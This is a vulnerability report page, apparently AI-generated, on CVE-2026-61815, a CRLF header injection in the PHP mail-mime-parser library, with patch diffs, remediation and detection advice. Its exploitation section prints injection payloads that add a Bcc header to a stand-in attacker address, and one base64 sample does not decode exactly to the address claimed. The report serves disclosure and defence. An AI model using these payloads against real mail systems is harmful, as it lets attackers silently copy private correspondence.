CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61815

CVE-2026-61815: Remote SMTP Header Injection via Unsanitized MIME Decoded Filenames in zbateson/mail-mime-parser

Alon Barad
Alon Barad
Software Engineer

Sep 25, 2026·6 min read·19 visits

Executive Summary (TL;DR)

A validation error in zbateson/mail-mime-parser allows remote attackers to inject malicious email headers (such as Bcc directives) by embedding encoded CRLF sequences inside attachment filenames. Patches in versions 3.0.6 and 4.0.2 remediate the issue.

CVE-2026-61815 is a high-severity Carriage Return / Line Feed (CRLF) header injection vulnerability in the zbateson/mail-mime-parser library. Due to incomplete sanitization logic, encoded newline sequences within filenames and headers survive parsing and translate into literal CRLF control bytes. When applications process or forward these payloads, the library writes the unescaped control bytes directly into outbound SMTP metadata, allowing remote attackers to inject rogue headers or compromise message integrity.

Vulnerability Overview

The PHP email processing library zbateson/mail-mime-parser serves as an RFC-compliant framework for parsing and creating MIME-formatted internet messages. The software is widely integrated into automated email parsers, helpdesk ticket systems, CRM processors, and inbound mail relays to manage file attachments.

The library's attack surface includes the parsing of inbound MIME payloads and the subsequent generation of outbound mail streams. Remote attackers can leverage input validation and sanitization oversights in both directions. Inbound parsed files that contain encoded control sequences retain those malicious sequences in application memory, which can subsequently be serialized back into raw transport channels.

The vulnerability is classified as CWE-93 (Improper Neutralization of CRLF Sequences). It yields an average CVSS v3.1 score of 7.2. The downstream effect allows an attacker to manipulate header boundaries, resulting in unauthorized information disclosure or message content alteration.

Root Cause Analysis

The technical flaw underlying CVE-2026-61815 occurs because character decoding operations execute after structural sanitization filters have already run. This timing mismatch allows encoded newline characters to successfully bypass the library's defensive sanitization routines.

In MimeToken.php, RFC 2047 encoded words are evaluated. The library strips literal newline characters from the raw header using preg_replace before executing the base64 or quoted-printable decoder function decodeMime(). Consequently, any Carriage Return (\r) and Line Feed (\n) sequences safely hidden inside an encoded-word wrapper escape the filter. Once decoded, the payload materializes as literal CRLF control bytes in memory.

A parallel vulnerability exists in the parameter parser located in ParameterPart.php. When parsing RFC 2231 attachment parameters, such as the filename* parameter, the library processes percentage-encoded payloads. The parser invokes rawurldecode(), converting URL-encoded newlines (%0D%0A) into literal byte sequences (\x0D\x0A). The code lacks any subsequent validation or sanitization check to neutralize these unescaped control bytes before transmitting them to other components.

During the serialization phase, the unescaped control characters flow into MultipartHelper.php. The library attempts to sanitize filenames by invoking iconv() with the US-ASCII//translit//ignore instruction. Because Carriage Return and Line Feed are legitimate US-ASCII control characters, iconv() passes them without modification, writing the raw CRLF sequences straight into the outgoing headers.

Code-Level Patch Analysis

To resolve the core vulnerability, the developers restructured the decoding pipeline to execute sanitization immediately after payload decoding. Diffs from the core fix demonstrate the movement of sanitization logic and the addition of robust regular expressions.

In src/Header/Part/MimeToken.php, the logic has been modified to enforce a secondary regular expression filter directly on the final output of the decodeMime() method:

 class MimeToken extends Token
 {
     public function __construct(LoggerInterface $logger, MbWrapper $charsetConverter, string $value)
     {
         parent::__construct($logger, $charsetConverter, $value);
-        $this->value = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $decoded = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $this->value = \preg_replace('/[\r\n]+/', '', $decoded) ?? '';
         $pattern = self::MIME_PART_PATTERN;

In src/Header/Part/ParameterPart.php, a similar regex filter has been integrated to catch and sanitize percentage-decoded characters emerging from the RFC 2231 parser:

     protected function decodePartValue(string $value, ?string $charset = null) : string
     {
-        if ($charset !== null) {
-            return $this->convertEncoding(\rawurldecode($value), $charset, true);
-        }
-        return $this->convertEncoding(\rawurldecode($value));
+        $decoded = ($charset !== null)
+            ? $this->convertEncoding(\rawurldecode($value), $charset, true)
+            : $this->convertEncoding(\rawurldecode($value));
+        return \preg_replace('/[\r\n]+/', '', $decoded) ?? $decoded;
     }

Finally, in src/Message/Helper/MultipartHelper.php, a defensive fallback filter was implemented during output formatting to strip structural ASCII control characters (byte range \x00-\x1F and \x7F) and replace them with spaces:

-        $safe = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';

Exploitation Mechanics and Test Cases

Exploitation relies on a target application reading a malicious inbound email message and subsequently forwarding or re-attaching that content. An attacker crafts a message containing attachment parameters formatted with encoded newlines followed by raw SMTP headers.

For example, an attacker can use RFC 2231 percentage encoding to craft a malicious filename containing a Bcc header injection:

Content-Disposition: attachment; filename*=UTF-8''invoice.pdf%0D%0ABcc:%20attacker@evil.test

Alternatively, an attacker can construct an RFC 2047 Base64 MIME-encoded string of the payload invoice.pdf\r\nBcc: attacker@evil.test:

Content-Disposition: attachment; filename="=?utf-8?B?aW52b2ljZS5wZGYNCkJjYzogYXZpbEBhdHRhY2tlci50ZXN0?="

When the application processes this incoming email and calls createAndAddPartForAttachment(), the un-sanitized CRLF sequence is output directly. The downstream SMTP server processes the resulting raw stream and splits the headers, recognizing the injected string as a legitimate BCC directive:

Content-Type: application/pdf;
	name="invoice.pdf
Bcc: attacker@evil.test"
Content-Disposition: attachment;
	filename="invoice.pdf
Bcc: attacker@evil.test"

Impact Assessment

The impact of CVE-2026-61815 is critical for environments that execute automatic processing on incoming email files, such as ticketing systems, CRM managers, or automated financial tools. By injecting a carriage return and line feed, the attacker can force downstream Mail Transfer Agents (MTAs) to split header sequences.

By injecting Bcc or Cc headers, attackers can silently copy and exfiltrate all outgoing replies, attachments, and internal records corresponding to the compromised message thread. This compromises message confidentiality without generating warning flags in client-facing applications.

Attackers can also inject dual carriage returns (\r\n\r\n) to prematurely end the headers segment and insert arbitrary text or script links into the body of the email. This facilitates phishing and social engineering campaigns, as the injected content appears to originate from an internal or trusted sending system.

Remediation and Detection Guidance

The primary remediation strategy is the immediate upgrade of all zbateson/mail-mime-parser library instances. Legacy versions 1.x and 2.x are End-of-Life and will not receive security fixes. Users must upgrade to the supported patched releases:

  • Upgrade 3.x branch dependencies to version 3.0.6 (or 3.0.7)
  • Upgrade 4.x branch dependencies to version 4.0.2

To update the dependency within a PHP project, execute the following Composer directive:

composer update zbateson/mail-mime-parser

If manual validation must be applied in legacy application code, filter all output filenames extracted via the API prior to processing. Developers can run a strict regex filter to strip control characters manually:

$safe_filename = preg_replace('/[\x00-\x1F\x7F]+/', ' ', $part->getFilename());

To detect exploitation attempts, implement Snort, Suricata, or WAF rules to scan inbound mail traffic for RFC 2231 parameters containing %0D%0A or equivalent hexadecimal byte injections inside filename definitions.

Fix Analysis (2)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

zbateson/mail-mime-parser < 3.0.6zbateson/mail-mime-parser >= 4.0.0, < 4.0.2zbateson/mail-mime-parser 1.x (all versions, End-of-Life)zbateson/mail-mime-parser 2.x (all versions, End-of-Life)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-mime-parser
zbateson
< 3.0.63.0.6
mail-mime-parser
zbateson
>= 4.0.0, < 4.0.24.0.2
AttributeDetail
CWE IDCWE-93
Attack VectorNetwork (Remote)
CVSS v3.1 Score7.2
Impact TypeHeader Injection / Email Exfiltration
Exploit StatusProof-of-Concept
CISA KEV ListedNo

MITRE ATT&CK Mapping

T1114.002Email Collection: Mailbox Search
Collection
T1566Phishing
Initial Access
T1071.003Application Layer Protocol: Mail Protocols
Command and Control
CWE-93
Improper Neutralization of CRLF Sequences ('CRLF Injection')

The software does not neutralize or incorrectly neutralizes carriage return (CR) and line feed (LF) characters before using them in input headers.

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]National Vulnerability Database (NVD) Detail
  • [3]CVE.org Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 4 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 5 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
5 views•9 min read
•about 6 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 7 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 8 hours ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 9 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
5 views•10 min read